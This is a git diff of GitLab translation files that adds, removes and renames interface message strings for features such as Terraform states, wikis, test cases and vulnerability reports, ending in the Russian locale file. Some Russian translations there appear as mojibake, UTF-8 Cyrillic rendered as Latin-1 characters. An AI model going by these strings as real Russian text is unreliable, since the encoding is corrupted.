msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25954,6 +26515,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -26002,6 +26566,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26176,6 +26743,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26344,9 +26914,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26386,6 +26953,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26398,24 +26968,48 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26437,6 +27031,12 @@ msgstr[2] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26464,6 +27064,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26494,6 +27097,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26590,9 +27196,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26602,10 +27205,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26674,9 +27277,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26719,6 +27319,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26767,6 +27370,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26812,6 +27421,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26923,6 +27535,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26932,7 +27547,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26944,9 +27559,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26962,6 +27574,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -27049,6 +27664,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27364,9 +27982,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27376,9 +27991,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27421,6 +28033,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27484,7 +28099,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27493,9 +28108,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27610,7 +28222,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27631,9 +28243,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27712,6 +28321,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27757,6 +28369,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -28057,6 +28672,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -28075,6 +28693,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28210,7 +28831,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28309,6 +28930,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28651,6 +29275,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28717,7 +29344,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28789,10 +29416,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28987,9 +29614,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -29008,6 +29632,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -29044,6 +29671,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -29134,6 +29764,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29281,6 +29914,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29338,6 +29977,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29383,6 +30025,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29413,6 +30058,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29449,6 +30097,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29491,15 +30142,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29569,7 +30220,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29650,6 +30301,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29707,6 +30361,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29800,9 +30457,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29908,6 +30562,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29956,10 +30616,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29974,6 +30631,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29998,6 +30658,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -30127,6 +30790,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -30142,6 +30808,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30223,12 +30892,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30286,7 +30961,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30442,6 +31123,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30523,9 +31207,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30535,6 +31216,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30580,6 +31264,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30739,6 +31426,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30781,6 +31471,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30859,6 +31552,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30943,9 +31642,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30988,13 +31684,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -31024,9 +31717,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -31045,6 +31735,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -31069,6 +31762,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -31081,6 +31777,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31222,6 +31921,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31270,6 +31972,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31279,6 +31987,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31288,6 +31999,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31459,13 +32173,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31633,6 +32344,12 @@ msgstr[2] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31651,9 +32368,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31669,9 +32383,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31711,9 +32422,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31804,6 +32512,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31831,6 +32542,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31852,7 +32566,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32383,6 +33097,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32410,6 +33127,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32422,6 +33142,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32503,6 +33226,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32557,6 +33283,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32569,9 +33298,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32620,9 +33355,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32653,10 +33385,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32665,6 +33397,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32674,6 +33409,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32746,6 +33484,12 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/ru/gitlab.po b/locale/ru/gitlab.po
index 41f19322101..2508cac27f4 100644
--- a/locale/ru/gitlab.po
+++ b/locale/ru/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: ru\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:50\n"
+"PO-Revision-Date: 2020-12-03 08:19\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -88,6 +88,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -203,13 +210,6 @@ msgstr[1] "%d днÑ"
msgstr[2] "%d дней"
msgstr[3] "%d дней"
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "%d error"
msgid_plural "%d errors"
msgstr[0] "%d ошибка"
@@ -217,6 +217,13 @@ msgstr[1] "%d ошибки"
msgstr[2] "%d ошибок"
msgstr[3] "%d ошибок"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d exporter"
msgid_plural "%d exporters"
msgstr[0] "%d ÑкÑпортер"
@@ -461,24 +468,15 @@ msgstr "%{actionText} & %{openOrClose} %{noteable}"
msgid "%{address} is an invalid IP address range"
msgstr ""
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr "%{author_link} напиÑал:"
msgid "%{authorsName}'s thread"
msgstr "тема %{authorsName}"
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
-msgstr ""
-
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
msgstr ""
@@ -565,6 +563,9 @@ msgstr "%{count} ÑвÑзанный %{pluralized_subject}: %{links}"
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr "%{dashboard_path} не может быть найден."
@@ -637,21 +638,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr "%{integrations_link_start}Интеграции%{link_end} позволÑÑŽÑ‚ вам Ñделать Ñторонние Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ñ‡Ð°Ñтью вашего рабочего процеÑÑа GitLab. ЕÑли доÑтупные интеграции не ÑоответÑтвуют вашим потребноÑÑ‚Ñм, раÑÑмотрите возможноÑÑ‚ÑŒ иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ %{webhooks_link_start}веб-обработчика%{link_end}."
msgid "%{issuableType} will be removed! Are you sure?"
msgstr "%{issuableType} будет удален! Вы уверены?"
+msgid "%{issueType} actions"
+msgstr ""
+
